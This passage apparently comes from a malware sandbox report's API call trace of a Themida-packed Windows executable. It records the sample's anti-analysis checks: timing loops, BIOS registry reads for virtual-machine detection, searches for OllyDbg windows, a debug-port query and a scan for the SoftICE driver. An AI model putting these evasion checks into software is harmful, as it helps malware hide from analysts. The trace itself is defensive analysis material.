timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.730] timeGetTime () returned 0x15cbe [0022.857] timeGetTime () returned 0x15d3b [0022.857] Sleep (dwMilliseconds=0x32) [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.917] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.918] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.919] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.920] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.921] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.922] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0022.923] timeGetTime () returned 0x15d79 [0023.058] GetVersionExA (in: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x630f5d*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0023.058] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0023.058] CloseHandle (hObject=0x0) returned 0 [0023.058] CloseHandle (hObject=0x0) returned 0 [0023.059] CloseHandle (hObject=0x0) returned 0 [0023.061] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x60 [0023.061] CloseHandle (hObject=0x60) returned 1 [0023.061] OutputDebugStringA (lpOutputString="\r\n\n\n%s------------------------------------------------\n\r--- Themida Professional ---\n\r--- (c)2012 Oreans Technologies ---\n\r------------------------------------------------\r\n\n\n") [0023.063] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0023.064] GetCurrentProcessId () returned 0x960 [0023.064] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77a40000 [0023.064] GetProcAddress (hModule=0x77a40000, lpProcName="NtOpenThread") returned 0x77a61128 [0023.064] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x752e0000 [0023.064] GetProcAddress (hModule=0x752e0000, lpProcName="timeGetTime") returned 0x752e26e0 [0023.064] timeGetTime () returned 0x15e06 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x68 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x6c [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x70 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x74 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x78 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7c [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x80 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x84 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x88 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x8c [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x90 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x94 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x98 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9c [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa0 [0023.065] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xa4 [0023.065] timeGetTime () returned 0x15e06 [0023.071] GetForegroundWindow () returned 0x101aa [0023.072] GetWindowTextA (in: hWnd=0x101aa, lpString=0x669b94, nMaxCount=100 | out: lpString="Desk") returned 4 [0023.078] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0023.078] RegQueryValueExA (in: hKey=0xa8, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x53, lpcbData=0x6740e7*=0x1e) returned 0x0 [0023.078] RegCloseKey (hKey=0xa8) returned 0x0 [0023.078] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x673ee3 | out: phkResult=0x673ee3*=0xa8) returned 0x0 [0023.078] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0023.079] RegQueryValueExA (in: hKey=0xa8, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x200) returned 0x2 [0023.079] RegQueryValueExA (in: hKey=0xa8, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x673ee7, lpcbData=0x6740e7*=0x200 | out: lpType=0x0, lpData=0x673ee7*=0x50, lpcbData=0x6740e7*=0x46) returned 0x0 [0023.079] RegCloseKey (hKey=0xa8) returned 0x0 [0023.079] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0 [0023.079] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0 [0023.079] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0 [0023.079] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0xb0 [0023.086] Process32First (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0023.086] Process32Next (in: hSnapshot=0xb0, lppe=0x678b73 | out: lppe=0x678b73*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0023.087] CloseHandle (hObject=0xb0) returned 1 [0023.087] GetSystemDirectoryA (in: lpBuffer=0x494525, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0023.087] CreateFileA (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x4, hTemplateFile=0x0) returned 0xb0 [0023.087] SetFilePointer (in: hFile=0xb0, lDistanceToMove=65224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfec8 [0023.087] ReadFile (in: hFile=0xb0, lpBuffer=0x67fa81, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x67faa1, lpOverlapped=0x0 | out: lpBuffer=0x67fa81*, lpNumberOfBytesRead=0x67faa1*=0x20, lpOverlapped=0x0) returned 1 [0023.089] CloseHandle (hObject=0xb0) returned 1 [0023.089] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18ff30, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18ff30, ReturnLength=0x0) returned 0x0 [0023.089] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0023.090] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77a40000 [0023.090] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77a5fda0 [0023.090] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0023.091] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1 [0023.094] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1 [0023.095] lstrcmpiA (lpString1="ntice.sys", lpString2="kdcom.dll") returned 1 [0023.096] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1 [0023.097] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1 [0023.097] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1 [0023.098] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1 [0023.098] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1 [0023.099] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1 [0023.099] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1 [0023.099] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1 [0023.099] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1 [0023.100] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1 [0023.100] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1 [0023.100] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1 [0023.100] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1 [0023.101] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1 [0023.101] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1 [0023.101] lstrcmpiA (lpString1="ntice.sys", lpString2="atapi.sys") returned 1 [0023.101] lstrcmpiA (lpString1="ntice.sys", lpString2="ataport.SYS") returned 1 [0023.102] lstrcmpiA (lpString1="ntice.sys", lpString2="msahci.sys") returned 1 [0023.102] lstrcmpiA (lpString1="ntice.sys", lpString2="PCIIDEX.SYS") returned -1 [0023.102] lstrcmpiA (lpString1="ntice.sys", lpString2="amdxata.sys") returned 1 [0023.102] lstrcmpiA (lpString1="ntice.sys", lpString2="fltmgr.sys") returned 1 [0023.103] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1 [0023.103] lstrcmpiA (lpString1="ntice.sys", lpString2="Ntfs.sys") returned 1 [0023.103] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1 [0023.103] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1 [0023.104] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1 [0023.104] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1 [0023.105] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1 [0023.105] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1 [0023.105] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1 [0023.105] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1 [0023.106] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1 [0023.106] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1 [0023.106] lstrcmpiA (lpString1="ntice.sys", lpString2="vmstorfl.sys") returned -1 [0023.106] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1 [0023.107] lstrcmpiA (lpString1="ntice.sys", lpString2="spldr.sys") returned -1 [0023.107] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1 [0023.107] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1 [0023.107] lstrcmpiA (lpString1="ntice.sys", lpString2="hwpolicy.sys") returned 1 [0023.108] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1 [0023.108] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1 [0023.108] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1 [0023.108] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1 [0023.109] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1 [0023.109] lstrcmpiA (lpString1="ntice.sys", lpString2="vga.sys") returned -1 [0023.109] lstrcmpiA (lpString1="ntice.sys", lpString2="VIDEOPRT.SYS") returned -1 [0023.109] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1 [0023.110] lstrcmpiA (lpString1="ntice.sys", lpString2="RDPCDD.sys") returned -1 [0023.110] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpencdd.sys") returned -1 [0023.110] lstrcmpiA (lpString1="ntice.sys", lpString2="rdprefmp.sys") returned -1 [0023.110] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1 [0023.111] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1 [0023.111] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1 [0023.111] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1 [0023.111] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1 [0023.112] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1 [0023.112] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwf.sys") returned -1 [0023.112] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1 [0023.112] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1 [0023.113] lstrcmpiA (lpString1="ntice.sys", lpString2="wanarp.sys") returned -1 [0023.113] lstrcmpiA (lpString1="ntice.sys", lpString2="termdd.sys") returned -1 [0023.113] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1 [0023.114] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1 [0023.114] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1 [0023.114] lstrcmpiA (lpString1="ntice.sys", lpString2="discache.sys") returned 1 [0023.114] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1 [0023.115] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1 [0023.115] lstrcmpiA (lpString1="ntice.sys", lpString2="blbdrive.sys") returned 1 [0023.115] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1 [0023.115] lstrcmpiA (lpString1="ntice.sys", lpString2="vgapnp.sys") returned -1 [0023.116] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1 [0023.116] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1 [0023.116] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1 [0023.117] lstrcmpiA (lpString1="ntice.sys", lpString2="intelppm.sys") returned 1 [0023.117] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1 [0023.117] lstrcmpiA (lpString1="ntice.sys", lpString2="AgileVpn.sys") returned 1 [0023.117] lstrcmpiA (lpString1="ntice.sys", lpString2="rasl2tp.sys") returned -1 [0023.118] lstrcmpiA (lpString1="ntice.sys", lpString2="ndistapi.sys") returned 1 [0023.118] lstrcmpiA (lpString1="ntice.sys", lpString2="ndiswan.sys") returned 1 [0023.118] lstrcmpiA (lpString1="ntice.sys", lpString2="raspppoe.sys") returned -1 [0023.118] lstrcmpiA (lpString1="ntice.sys", lpString2="raspptp.sys") returned -1 [0023.119] lstrcmpiA (lpString1="ntice.sys", lpString2="rassstp.sys") returned -1 [0023.119] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1 [0023.119] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1 [0023.120] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1 [0023.120] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1 [0023.120] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1 [0023.121] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1 [0023.121] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1 [0023.121] lstrcmpiA (lpString1="ntice.sys", lpString2="NDProxy.SYS") returned 1 [0023.122] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1 [0023.122] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1 [0023.122] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1 [0023.123] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1 [0023.123] lstrcmpiA (lpString1="ntice.sys", 